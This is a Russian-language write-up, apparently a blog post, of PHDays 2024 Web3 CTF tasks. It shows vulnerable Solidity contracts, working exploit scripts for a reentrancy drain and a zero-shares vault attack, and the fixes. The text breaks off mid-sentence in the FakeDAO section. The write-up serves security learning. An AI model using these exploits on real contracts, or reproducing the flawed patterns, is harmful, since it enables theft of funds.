{"id":378226,"date":"2024-06-07T03:00:36","date_gmt":"2024-06-07T03:00:36","guid":{"rendered":"http:\/\/savepearlharbor.com\/?p=378226"},"modified":"-0001-11-30T00:00:00","modified_gmt":"-0001-11-29T21:00:00","slug":"","status":"publish","type":"post","link":"https:\/\/savepearlharbor.com\/?p=378226","title":{"rendered":"<span>\u0420\u0430\u0437\u0431\u043e\u0440 \u0437\u0430\u0434\u0430\u043d\u0438\u0439\u00a0PHDays 2024 \u0432\u0437\u043b\u043e\u043c Web3 CTF<\/span>"},"content":{"rendered":"<div><!--[--><!--]--><\/div>\n<div id=\"post-content-body\">\n<div>\n<div class=\"article-formatted-body article-formatted-body article-formatted-body_version-2\">\n<div xmlns=\"http:\/\/www.w3.org\/1999\/xhtml\">\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/792\/cac\/b0d\/792cacb0d743faf2d6b27a48782fba73.png\" width=\"1448\" height=\"726\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/792\/cac\/b0d\/792cacb0d743faf2d6b27a48782fba73.png\"\/><\/figure>\n<p>\u0421 23 \u043f\u043e 26 \u043c\u0430\u044f Positive Technologies \u043f\u0440\u043e\u0432\u043e\u0434\u0438\u043b\u0438 \u043a\u043e\u043d\u0444\u0435\u0440\u0435\u043d\u0446\u0438\u044e PHDays \u043f\u043e \u043a\u0438\u0431\u0435\u0440 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0441 CTF \u043a\u043e\u043d\u043a\u0443\u0440\u0441\u0430\u043c\u0438 \u043f\u043e \u0440\u0430\u0437\u043d\u044b\u043c \u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f\u043c. \u041f\u0440\u043e Web3 blockchain CTF \u0443\u0437\u043d\u0430\u043b \u0441\u043b\u0443\u0447\u0430\u0439\u043d\u043e \u043e\u0442 \u0434\u0440\u0443\u0437\u0435\u0439 \u0438 \u043e\u0447\u0435\u043d\u044c \u043e\u0431\u0440\u0430\u0434\u043e\u0432\u0430\u043b\u0441\u044f, \u0442.\u043a. \u044d\u0442\u043e\u0439 \u0441\u0444\u0435\u0440\u043e\u0439 \u0434\u0430\u0432\u043d\u043e \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u0443\u044e\u0441\u044c. \u041f\u043e \u0438\u0442\u043e\u0433\u0443 \u0437\u0430\u043d\u044f\u043b 2-\u0435 \u043c\u0435\u0441\u0442\u043e, \u0434\u0430\u043b\u0435\u0435 \u0440\u0430\u0437\u0431\u0435\u0440\u0443 \u0432\u0441\u0435 \u0437\u0430\u0434\u0430\u0447\u0438.<\/p>\n<h2>1. WrappedEther<\/h2>\n<details class=\"spoiler\">\n<summary>\u0417\u0430\u0434\u0430\u0447\u0430<\/summary>\n<div class=\"spoiler__content\">\n<p>We have developed a wrapped ether contract so that it can be handled in Defi protocols like ERC20 tokens. Will you be able to find a vulnerability and take all the funds out of the contract?<\/p>\n<pre><code class=\"javascript\">\/\/SPDX-License-Identifier: MIT pragma solidity ^0.8.20;   contract WrappedEther {     mapping(address => uint256) public balanceOf;     mapping(address => mapping(address => uint256)) public allowance;       event Transfer(address indexed from, address indexed to, uint256 amount);     event Approval(         address indexed owner,         address indexed spender,         uint256 amount     );     event Deposit(address indexed from, uint256 amount);     event Withdraw(address indexed to, uint256 amount);       function deposit(address to) external payable {         balanceOf[to] += msg.value;         emit Deposit(msg.sender, msg.value);     }       function withdraw(uint256 amount) external {         require(balanceOf[msg.sender] >= amount, \"insufficient balance\");         balanceOf[msg.sender] -= amount;         sendEth(payable(msg.sender), amount);         emit Withdraw(msg.sender, amount);     }       function withdrawAll() external {         sendEth(payable(msg.sender), balanceOf[msg.sender]);         balanceOf[msg.sender] = 0;         emit Withdraw(msg.sender, balanceOf[msg.sender]);     }       function transfer(address to, uint256 amount) external {         require(balanceOf[msg.sender] >= amount, \"insufficient balance\");         balanceOf[msg.sender] -= amount;         balanceOf[to] += amount;         emit Transfer(msg.sender, to, amount);     }       function transferFrom(address from, address to, uint256 amount) external {         require(balanceOf[from] >= amount, \"insufficient balance\");         require(             allowance[from][msg.sender] >= amount,             \"insufficient allowance\"         );         balanceOf[from] -= amount;         balanceOf[to] += amount;         allowance[from][msg.sender] -= amount;         emit Transfer(from, to, amount);     }       function approve(address spender, uint256 amount) external {         allowance[msg.sender][spender] = amount;         emit Approval(msg.sender, spender, amount);     }       function sendEth(address payable to, uint256 amount) private {         (bool success, ) = to.call{value: amount}(\"\");         require(success, \"failed to send ether\");     } }<\/code><\/pre>\n<\/p>\n<\/div>\n<\/details>\n<p>\u0412 \u0437\u0430\u0434\u0430\u043d\u0438\u0438 \u0445\u043e\u0442\u044f\u0442, \u0447\u0442\u043e\u0431\u044b \u043c\u044b \u0437\u0430\u0431\u0440\u0430\u043b\u0438 \u0432\u0441\u0435 \u0441\u0440\u0435\u0434\u0441\u0442\u0432\u0430 \u0441 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430, \u043e\u043a, \u0441\u043c\u043e\u0442\u0440\u0438\u043c \u0444\u0443\u043d\u043a\u0446\u0438\u0438 \u0434\u043b\u044f \u0432\u044b\u0432\u043e\u0434\u0430 \u043c\u043e\u043d\u0435\u0442 \u0438 \u0441\u0440\u0430\u0437\u0443 \u043d\u0430\u0442\u044b\u043a\u0430\u0435\u043c\u0441\u044f \u043d\u0430 <a href=\"https:\/\/www.cyfrin.io\/blog\/what-is-a-reentrancy-attack-solidity-smart-contracts\" rel=\"noopener noreferrer nofollow\">re-entrancy<\/a>  \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 <strong>withdrawAll()<\/strong><\/p>\n<pre><code class=\"javascript\">function withdrawAll() external {         sendEth(payable(msg.sender), balanceOf[msg.sender]);         balanceOf[msg.sender] = 0;         emit Withdraw(msg.sender, balanceOf[msg.sender]);     }<\/code><\/pre>\n<p>\u0444\u0443\u043d\u043a\u0446\u0438\u044f <strong>sendEth()<\/strong> \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442 \u043c\u043e\u043d\u0435\u0442\u044b \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044e \u0438 \u043b\u0438\u0448\u044c \u0437\u0430\u0442\u0435\u043c \u0431\u0430\u043b\u0430\u043d\u0441 \u043e\u0431\u043d\u0443\u043b\u044f\u0435\u0442\u0441\u044f, \u043d\u0430\u0440\u0443\u0448\u0430\u0435\u0442\u0441\u044f \u043f\u0430\u0442\u0442\u0435\u0440\u043d <strong>Checks Effects Interactions<\/strong> <strong>(CEI)<\/strong> &#8212; \u0441\u043d\u0430\u0447\u0430\u043b\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438, \u0437\u0430\u0442\u0435\u043c \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0435 \u0434\u0430\u043d\u043d\u044b\u0445 \u0438 \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u043e\u0442\u043e\u043c \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0435 \u0441 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u043c<\/p>\n<p>\u0421\u043e\u0437\u0434\u0430\u0435\u043c \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u0440\u0438 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u0438 \u043c\u043e\u043d\u0435\u0442 \u0435\u0449\u0435 \u0440\u0430\u0437 \u0432\u044b\u0437\u043e\u0432\u0435\u0442 withdrawAll() \u0447\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442 \u0441\u043d\u044f\u0442\u044c \u0441\u0440\u0435\u0434\u0441\u0442\u0432\u0430 \u0435\u0449\u0435 \u0440\u0430\u0437<\/p>\n<pre><code class=\"javascript\">    receive() external payable {         if (msg.sender.balance > 0) {             _reentranceInstanceP.withdrawAll();         } else {             payable(tx.origin).transfer(address(this).balance);         }     }<\/code><\/pre>\n<p>\u041f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u0441\u0443\u043c\u043c\u0430 \u043d\u0430 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0435 \u0431\u044b\u043b\u0430 \u043d\u0435\u0431\u043e\u043b\u044c\u0448\u0430\u044f, \u044f \u0441\u0434\u0435\u043b\u0430\u043b \u0434\u0435\u043f\u043e\u0437\u0438\u0442 \u0441 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0435\u0433\u043e \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430, \u0440\u0430\u0432\u043d\u044b\u0439 \u0431\u0430\u043b\u0430\u043d\u0441\u0443 \u0430\u0442\u0430\u043a\u0443\u0435\u043c\u043e\u0433\u043e \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430 \u0434\u043b\u044f \u043c\u0438\u043d\u0438\u043c\u0438\u0437\u0430\u0446\u0438\u0438 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 \u0432 \u0442\u0440\u0430\u043d\u0437\u0430\u043a\u0446\u0438\u0438 (\u0432\u0441\u0435-\u0440\u0430\u0432\u043d\u043e \u0432\u0441\u0435 \u043c\u043e\u043d\u0435\u0442\u044b \u0432\u0435\u0440\u043d\u0443\u0442\u0441\u044f \u043d\u0430\u0437\u0430\u0434 \u043f\u043e\u0441\u043b\u0435 \u0430\u0442\u0430\u043a\u0438)<\/p>\n<details class=\"spoiler\">\n<summary>\u0420\u0435\u0448\u0435\u043d\u0438\u0435<\/summary>\n<div class=\"spoiler__content\">\n<p>\u041f\u043e\u043b\u043d\u044b\u0439 \u043a\u043e\u0434 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0435\u0433\u043e \u0441\u043a\u0440\u0438\u043f\u0442\u0430 \u043d\u0430 forge<\/p>\n<pre><code class=\"javascript\">\/\/ SPDX-License-Identifier: MIT pragma solidity ^0.8.20;  import \"..\/src\/Task.sol\"; import {Script, console} from \"forge-std\/Script.sol\";  contract Hack {     uint public initBalance = address(this).balance;     WrappedEther public _reentranceInstanceP;      constructor(WrappedEther _reentranceInstance) payable {         _reentranceInstanceP = _reentranceInstance;     }      function hackContract() external {         console.log(\"Deposit:\", initBalance);         _reentranceInstanceP.deposit{value: initBalance}(address(this));         console.log(             \"Current instance balance: \",             address(_reentranceInstanceP).balance         );         console.log(\"Withdraw with reentrancy\");         _reentranceInstanceP.withdrawAll();     }      receive() external payable {         if (msg.sender.balance > 0) {             _reentranceInstanceP.withdrawAll();         } else {             payable(tx.origin).transfer(address(this).balance);         }     } }  contract Solution is Script {     WrappedEther public wrappedEtherInstance =         WrappedEther(payable(&lt;\u0410\u0434\u0440\u0435\u0441 \u0430\u0442\u0430\u043a\u0443\u0435\u043c\u043e\u0433\u043e \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430>));      function run() external {         vm.startBroadcast();         console.log(             \"Contract Balance: \",             address(wrappedEtherInstance).balance         );          Hack hackContractInstance = new Hack{             value: address(wrappedEtherInstance).balance         }(wrappedEtherInstance);         hackContractInstance.hackContract();         console.log(             \"Contract Balance: \",             address(wrappedEtherInstance).balance         );         vm.stopBroadcast();     } } <\/code><\/pre>\n<\/p>\n<\/div>\n<\/details>\n<p>\u0423\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 &#8212; \u0432 \u0434\u0430\u043d\u043d\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u043f\u0435\u0440\u0435\u0434\u0432\u0438\u043d\u0443\u0442\u044c \u0441\u0442\u0440\u043e\u043a\u0443 \u043e\u0431\u043d\u0443\u043b\u0435\u043d\u0438\u044f \u0431\u0430\u043b\u0430\u043d\u0441\u0430 \u043f\u0435\u0440\u0435\u0434 \u043e\u0442\u043f\u0440\u0430\u0432\u043a\u043e\u0439 \u0441\u0440\u0435\u0434\u0441\u0442\u0432, \u0432 \u043e\u0431\u0449\u0435\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u043b\u0443\u0447\u0448\u0435 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u043c\u043e\u0434\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u043e\u043c <a href=\"https:\/\/docs.openzeppelin.com\/contracts\/3.x\/api\/utils#ReentrancyGuard\" rel=\"noopener noreferrer nofollow\">nonReentrant<\/a> \u0438 \u0441\u043e\u0431\u043b\u044e\u0434\u0430\u0442\u044c \u043f\u0440\u0438\u043d\u0446\u0438\u043f CEI <\/p>\n<p>\u041d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u0442\u043e \u0447\u0442\u043e re-entrancy \u0430\u0442\u0430\u043a\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0432\u0430\u044e\u0442\u0441\u044f \u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u043c\u0438 \u0430\u043d\u0430\u043b\u0438\u0437\u0430\u0442\u043e\u0440\u0430\u043c\u0438 \u0438 \u0434\u0430\u0436\u0435 ChatGPT, \u0434\u0430\u043d\u043d\u044b\u0439 \u0442\u0438\u043f \u0430\u0442\u0430\u043a \u0432\u0441\u0435 \u0435\u0449\u0435 \u0432\u0445\u043e\u0434\u0438\u0442 \u0432 \u0442\u043e\u043f 10 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 (7 \u0438 8 \u043c\u0435\u0441\u0442\u043e \u0437\u0430 2023) \u043f\u043e \u0443\u043a\u0440\u0430\u0434\u0435\u043d\u043d\u044b\u043c \u0441\u0440\u0435\u0434\u0441\u0442\u0432\u0430\u043c<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/e11\/275\/033\/e11275033c6cb3627ed2a46f30bd8d71.png\" width=\"2496\" height=\"1224\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/e11\/275\/033\/e11275033c6cb3627ed2a46f30bd8d71.png\"\/><\/figure>\n<h2>2. AntiRugPull<\/h2>\n<details class=\"spoiler\">\n<summary>\u0417\u0430\u0434\u0430\u0447\u0430<\/summary>\n<div class=\"spoiler__content\">\n<p>A new protocol promising high APR has appeared in the network. When you carefully study the project code, you, as a professional, realize that it is a scam, right?) Now your task is to teach the scammers who deployed the project in the network a lesson so that they could not withdraw funds from the protocol.<\/p>\n<pre><code class=\"javascript\">\/\/ SPDX-License-Identifier: MIT pragma solidity ^0.8.20;   import \"openzeppelin-contracts\/contracts\/token\/ERC20\/ERC20.sol\";   contract MintableERC20 is ERC20 {     constructor(         string memory name,         string memory symbol,         uint256 mintAmount     ) ERC20(name, symbol) {         _mint(msg.sender, mintAmount);     } }   contract Vault {     address public owner;     MintableERC20 public token;     mapping(address => uint256) public shares;     uint256 public totalShares;       constructor(address _token) {         owner = msg.sender;         token = MintableERC20(_token);     }       function deposit(uint256 _amount) external {         require(_amount > 0, \"Vault: amount must be greater than 0\");           uint256 currentBalance = token.balanceOf(address(this));         uint256 currentShares = totalShares;           uint256 newShares;         if (currentShares == 0) {             newShares = _amount;         } else {             newShares = (_amount * currentShares) \/ currentBalance;         }           shares[msg.sender] += newShares;         totalShares += newShares;           token.transferFrom(msg.sender, address(this), _amount);     }       function withdraw(uint256 _sharesAmount) external {         require(_sharesAmount > 0, \"Vault: amount must be greater than 0\");           uint256 currentBalance = token.balanceOf(address(this));         uint256 payoutAmount = (_sharesAmount * currentBalance) \/ totalShares;           shares[msg.sender] -= _sharesAmount;         totalShares -= _sharesAmount;           if (msg.sender == owner) {             payoutAmount = token.balanceOf(address(this));         }           token.transfer(msg.sender, payoutAmount);     } }<\/code><\/pre>\n<\/p>\n<\/div>\n<\/details>\n<p>\u041e\u0442 \u043d\u0430\u0441 \u0445\u043e\u0442\u044f\u0442, \u0447\u0442\u043e\u0431\u044b \u0432\u043b\u0430\u0434\u0435\u043b\u0435\u0446 \u043d\u0435 \u0441\u043c\u043e\u0433 \u0437\u0430\u0431\u0440\u0430\u0442\u044c \u0441\u0432\u043e\u0438 \u0441\u0440\u0435\u0434\u0441\u0442\u0432\u0430, \u0441\u043c\u043e\u0442\u0440\u0438\u043c \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442, \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0430 \u043c\u044b \u043c\u0435\u043d\u044f\u0442\u044c \u043d\u0435 \u043c\u043e\u0436\u0435\u043c, \u043a\u0430\u043a \u0442\u043e\u043b\u044c\u043a\u043e owner \u043f\u043e\u043f\u0430\u0434\u0435\u0442 \u0432 \u0444\u0443\u043d\u043a\u0446\u0438\u044e <strong>withdraw() <\/strong>\u0437\u0430\u0431\u0435\u0440\u0435\u0442 \u0432\u0441\u0435 \u0441\u0440\u0435\u0434\u0441\u0442\u0432\u0430, \u0442\u043e\u0433\u0434\u0430 \u0435\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 \u0441\u043f\u043e\u0441\u043e\u0431 \u0435\u043c\u0443 \u043f\u043e\u043c\u0435\u0448\u0430\u0442\u044c &#8212; \u0441\u0434\u0435\u043b\u0430\u0442\u044c \u0442\u0430\u043a, \u0447\u0442\u043e\u0431\u044b \u0443\u0441\u043b\u043e\u0432\u0438\u0435 <strong>_sharesAmount > 0<\/strong> \u043d\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u043b\u043e\u0441\u044c, \u0442.\u0435 owner \u043d\u0435 \u0434\u043e\u043b\u0436\u0435\u043d \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c shares. <\/p>\n<p>\u0421\u043c\u043e\u0442\u0440\u0438\u043c \u0444\u0443\u043d\u043a\u0446\u0438\u044e <strong>deposit() <\/strong>\u0438 \u043a\u0430\u043a \u0432\u044b\u0447\u0438\u0441\u043b\u044f\u044e\u0442\u0441\u044f <strong>newShares<\/strong>, \u0437\u0430\u043c\u0435\u0447\u0430\u0435\u043c \u0447\u0442\u043e \u043f\u0440\u0438 \u043f\u0435\u0440\u0432\u043e\u043c \u043f\u043e\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0438 newShares \u0440\u0430\u0432\u043d\u043e \u0432\u043d\u0435\u0441\u0435\u043d\u043d\u043e\u043c\u0443 \u0431\u0430\u043b\u0430\u043d\u0441\u0443, \u0430 \u0437\u0430\u0442\u0435\u043c \u0432\u044b\u0447\u0438\u0441\u043b\u044f\u044e\u0442\u0441\u044f \u043f\u043e \u0444\u043e\u0440\u043c\u0443\u043b\u0435, \u0438\u0441\u0445\u043e\u0434\u044f \u0438\u0437 \u0442\u0435\u043a\u0443\u0449\u0435\u0433\u043e \u0431\u0430\u043b\u0430\u043d\u0441\u0430 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430<\/p>\n<pre><code class=\"javascript\">uint256 currentBalance = token.balanceOf(address(this)); uint256 currentShares = totalShares;  if (currentShares == 0) {             newShares = _amount;         } else {             newShares = (_amount * currentShares) \/ currentBalance;         } <\/code><\/pre>\n<p>\u041f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c \u0431\u0430\u043b\u0430\u043d\u0441\u044b \u0442\u043e\u043a\u0435\u043d\u043e\u0432, \u0443 \u043d\u0430\u0441 9 \u0442\u043e\u043a\u0435\u043d\u043e\u0432, \u0443 owner 1, \u043c\u0435\u0442\u043e\u0434 transfer \u0443 MintableERC20  \u0434\u043e\u0441\u0442\u0443\u043f\u0435\u043d \u0434\u043b\u044f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u0432\u0441\u0435\u043c \u0436\u0435\u043b\u0430\u044e\u0449\u0438\u043c, \u043c\u043e\u0436\u0435\u043c \u043f\u0440\u0438\u043c\u0435\u043d\u0438\u0442\u044c <a href=\"https:\/\/youtu.be\/QuJ414XJA14?list=PL%E2%80%91PDZMPQHOz9__o8K1lMAlQXr1RjXu6wS&amp;t=936\" rel=\"noopener noreferrer nofollow\">zero shares \u0430\u0442\u0430\u043a\u0443 (\u0434\u043e\u043a\u043b\u0430\u0434 \u0421\u0435\u0440\u0433\u0435\u044f \u041f\u0440\u0438\u043b\u0443\u0446\u043a\u043e\u0433\u043e \u0441 PHDays 2023)<\/a> <\/p>\n<p>\u0414\u0435\u043b\u0430\u0435\u043c \u0434\u0435\u043f\u043e\u0437\u0438\u0442 1 wei \u0438 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c 1 share, \u0437\u0430\u0442\u0435\u043c \u0434\u0435\u043b\u0430\u0435\u043c transfer 1 token \u043d\u0430\u043f\u0440\u044f\u043c\u0443\u044e \u043d\u0430 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u0438 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c <strong>currentBalance = 10**18 +1,<\/strong> \u0442\u0435\u043f\u0435\u0440\u044c \u043b\u044e\u0431\u043e\u0439, \u0437\u0430\u043a\u0438\u043d\u0443\u0432\u0448\u0438\u0439 \u043d\u0430 \u0431\u0430\u043b\u0430\u043d\u0441 &lt;= 1 \u0442\u043e\u043a\u0435\u043d\u0430 \u0438\u0437-\u0437\u0430 \u0446\u0435\u043b\u043e\u0447\u0438\u0441\u043b\u0435\u043d\u043d\u043e\u0439 \u0430\u0440\u0438\u0444\u043c\u0435\u0442\u0438\u043a\u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u0442 0 shares \u0438 \u043d\u0435 \u0441\u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u043f\u0430\u0441\u0442\u044c \u0432 <strong>withdraw<\/strong><\/p>\n<details class=\"spoiler\">\n<summary>\u0420\u0435\u0448\u0435\u043d\u0438\u0435<\/summary>\n<div class=\"spoiler__content\">\n<pre><code class=\"javascript\">\/\/ SPDX-License-Identifier: MIT pragma solidity ^0.8.0;  import \"..\/src\/Task.sol\"; import {Script, console} from \"forge-std\/Script.sol\";  contract Solution is Script {     function run() external {         Vault vaultInstance = Vault(             payable(&lt;\u0410\u0434\u0440\u0435\u0441 \u0430\u0442\u0430\u043a\u0443\u0435\u043c\u043e\u0433\u043e \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430>)         );         MintableERC20 tokenInstance = vaultInstance.token();         vm.startBroadcast();         tokenInstance.approve(address(vaultInstance), 1);         vaultInstance.deposit(1);         tokenInstance.transfer(address(vaultInstance), 1 ether);         vm.stopBroadcast();     } }<\/code><\/pre>\n<\/p>\n<\/div>\n<\/details>\n<p>\u0423\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 &#8212; \u0432\u043e \u0438\u0437\u0431\u0435\u0436\u0430\u043d\u0438\u0435 zero shares \u0430\u0442\u0430\u043a \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u0434\u0435\u043b\u0430\u0442\u044c <strong>dead shares <\/strong>&#8212; \u0432 \u0442\u0440\u0430\u043d\u0437\u0430\u043a\u0446\u0438\u0438 \u0440\u0430\u0437\u0432\u043e\u0440\u0430\u0447\u0438\u0432\u0430\u043d\u0438\u044f \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u0434\u043e\u0431\u0430\u0432\u0438\u0442\u044c \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u0435 \u043d\u0430\u0447\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u0430 \u0442\u043e\u043a\u0435\u043d\u043e\u0432, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440 \u043d\u0430 \u043d\u0443\u043b\u0435\u0432\u043e\u043c \u0430\u0434\u0440\u0435\u0441\u0435 (<a href=\"https:\/\/youtu.be\/QuJ414XJA14?list=PL-PDZMPQHOz9__o8K1lMAlQXr1RjXu6wS&amp;t=1382\" rel=\"noopener noreferrer nofollow\">\u043f\u043e\u0434\u0440\u043e\u0431\u043d\u0435\u0435 \u0432 \u0442\u043e\u043c \u0436\u0435 \u0434\u043e\u043a\u043b\u0430\u0434\u0435<\/a>)<\/p>\n<h2>3. FakeDAO<\/h2>\n<details class=\"spoiler\">\n<summary>\u0417\u0430\u0434\u0430\u0447\u0430<\/summary>\n<div class=\"spoiler__content\">\n<p>In the very first version of the DAO community, FakeDAO, the owner fixed the bug. However, it seems that the protocol is still vulnerable&#8230;<\/p>\n<pre><code class=\"javascript\">\/\/ SPDX-License-Identifier: MIT pragma solidity ^0.8.25;   contract OffchainCheckOwner {     address public owner;       event Signed(uint8 v, bytes32 r, bytes32 s, bytes32 hash);       \/\/ Restrict reusing signatures     mapping(bytes32 => bool) public used;       constructor(address _owner) {         owner = _owner;     }       function checkOwner(uint8 _v, bytes32 _r, bytes32 _s, bytes32 _hash) internal {         require(!used[_hash], \"hash was used\");         address signer = ecrecover(_hash, _v, _r, _s);         require(signer == owner, \"wrong owner\");         used[_hash] = true;         emit Signed(_v, _r, _s, _hash);     } }   contract DAO2 is OffchainCheckOwner {     uint256 counter;     uint256 round;     uint256 border = 10;     mapping(address => uint256) registered;       event Contributed(address contributer, uint256 amount);     event NewBorder(uint256 value);     event OwnerChanged(address newOwner);       constructor(address _owner) payable OffchainCheckOwner(_owner) {}       function register() external {         require(registered[msg.sender] == 0);         counter += 1;         registered[msg.sender] = counter;     }       function contribute() external payable {         require(registered[msg.sender] != 0);         if (msg.value >= address(this).balance) {             \/\/ If you are big DAO's contributer, you definitely deserve an upgrade             registered[msg.sender] += 1;         }         emit Contributed(msg.sender, msg.value);     }       function voteForYourself() external {         require(registered[msg.sender] != 0);         \/\/ You can vote only once         require(registered[msg.sender] % border == 0 &amp;&amp; counter \/ border == round + 1);         emit OwnerChanged(msg.sender);         owner = msg.sender;         round += 1;     }       function ownerContribute(uint8 _v, bytes32 _r, bytes32 _s, bytes32 _hash) external payable {         checkOwner(_v, _r, _s, _hash);         require(msg.value > 0);         emit Contributed(owner, msg.value);     }       function changeDAOowner(uint8 _v, bytes32 _r, bytes32 _s, bytes32 _salt, address _newOwner) external {         \/\/ add 0x01 prefix to prevent collisions with other types of messages         uint256 value = address(this).balance;         bytes32 hash = keccak256(abi.encode(uint8(0x01), value, _salt));         checkOwner(_v, _r, _s, hash);         emit OwnerChanged(_newOwner);         owner = _newOwner;     }       function setBorder(uint8 _v, bytes32 _r, bytes32 _s, bytes32 _salt, uint256 _newBorder) external {         \/\/ add 0x02 prefix to prevent collisions with other types of messages         bytes32 hash = keccak256(abi.encode(uint8(0x02), _newBorder, _salt));         checkOwner(_v, _r, _s, hash);         border = _newBorder;         emit NewBorder(_newBorder);     }       function withdraw() public {         payable(owner).transfer(address(this).balance);     } }<\/code><\/pre>\n<\/p>\n<\/div>\n<\/details>\n<p>\u042d\u0442\u0430 \u0437\u0430\u0434\u0430\u0447\u0430 &#8212; \u0447\u0430\u0441\u0442\u044c \u0441\u0435\u0440\u0438\u0438 \u0437\u0430\u0434\u0430\u0447 FakeDAO -> DAO1 -> DAO2 \u043f\u043e \u0432\u043e\u0437\u0440\u0430\u0441\u0442\u0430\u043d\u0438\u044e \u0441\u043b\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u0432 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0431\u044b\u043b\u043e \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u0441\u0442\u0430\u0442\u044c \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0435\u043c \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430.<\/p>\n<p>\u041f\u0435\u0440\u0432\u0443\u044e \u0437\u0430\u0434\u0430\u0447\u0443 \u043c\u043e\u0436\u043d\u043e \u0431\u044b\u043b\u043e \u0440\u0435\u0448\u0438\u0442\u044c &#171;\u0432 \u043b\u043e\u0431&#187;, \u0440\u0430\u0441\u0441\u043c\u043e\u0442\u0440\u0438\u043c \u0444\u0443\u043d\u043a\u0446\u0438\u044e <strong>voteForYourself() <\/strong>\u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0441\u043c\u0435\u043d\u0438\u0442\u044c \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0430<\/p>\n<pre><code class=\"javascript\">function voteForYourself() external {         require(registered[msg.sender] != 0);         \/\/ You can vote only once         require(registered[msg.sender] % border == 0 &amp;&amp; counter \/ border == round + 1);         emit OwnerChanged(msg.sender);         owner = msg.sender;         round += 1;     }<\/code><\/pre>\n<p>\u041d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e, \u0447\u0442\u043e\u0431\u044b \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u043b\u043e\u0441\u044c 